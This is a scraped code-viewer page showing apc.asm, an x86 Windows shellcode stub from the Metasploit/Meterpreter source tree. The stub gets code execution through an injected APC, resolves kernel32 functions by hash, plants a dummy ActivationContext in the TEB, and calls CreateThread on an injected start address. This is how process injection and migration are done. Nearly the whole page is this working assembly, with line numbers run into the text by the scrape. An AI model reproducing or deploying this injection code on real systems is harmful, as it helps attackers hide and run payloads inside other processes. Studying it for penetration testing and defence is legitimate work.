Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/x86/src/migrate/apc.asm
Views: 11791
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT43; Architecture: x86 (but not wow64)4; Version: 2.0 (March 2010)5; Size: 244 bytes6; Build: >build.py apc7;-----------------------------------------------------------------------------;89; A small stub to be used for thread injection where we gain execution via an injected APC. See the10; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details1112;typedef struct _APCCONTEXT13;{14; union15; {16; LPVOID lpStartAddress;17; BYTE bPadding1[8];18; } s;19; union20; {21; LPVOID lpParameter;22; BYTE bPadding2[8];23; } p;24; BYTE bExecuted;25;} APCCONTEXT, * LPAPCCONTEXT;2627[BITS 32]28[ORG 0]2930cld ; Clear the direction flag.31mov esi, [esp+4] ; ESI is a pointer to our apc stub context32push ebp ; Prologue, save EBP...33mov ebp, esp ; And create a new stack frame34call start ; Call start, this pushes the address of 'api_call' onto the stack.35delta: ;36%include "./src/block/block_api.asm" ;37start: ;38pop ebx ; Pop off the address of 'api_call' for calling later.39cmp byte [esi+16], 0 ; Has this context allready been injected40jne cleanup ; If so just leave this APC41mov byte [esi+16], 1 ; Otherwise mark the context as executed and proceed42push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )43call ebx ; GetVersion(); (AL will = major version and AH will = minor version)44cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 745jl short continue ; then continue to CreateThread... otherwise we must create a dummy thread ActivationContext46xor ecx, ecx ; zero ECX47mov eax, [fs:ecx+24] ; Get the current TEB48cmp dword [eax+424], ecx ; Is the TEB ActivationContextStackPointer pointer NULL?49jne continue ; If there already is an ActivationContext structure setup, just continue50lea edx, [ebx+context-delta] ; calculate the address of our dummy ActivationContext51mov dword [eax+424], edx ; and set the address of our dummy ActivationContext in the current TEB52continue:53xor ecx, ecx ; Clear ECX54push ecx ; lpThreadId55push ecx ; dwCreationFlags56push dword [esi+8] ; ctx->lpParameter57push dword [esi] ; ctx->lpStartAddress58push ecx ; dwStackSize59push ecx ; lpThreadAttributes60push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )61call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );62cleanup:63leave ; epilogue64retn 12 ; Return (cleaning up stack params) and finish our APC routine.65context:66TIMES 0x18 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure6768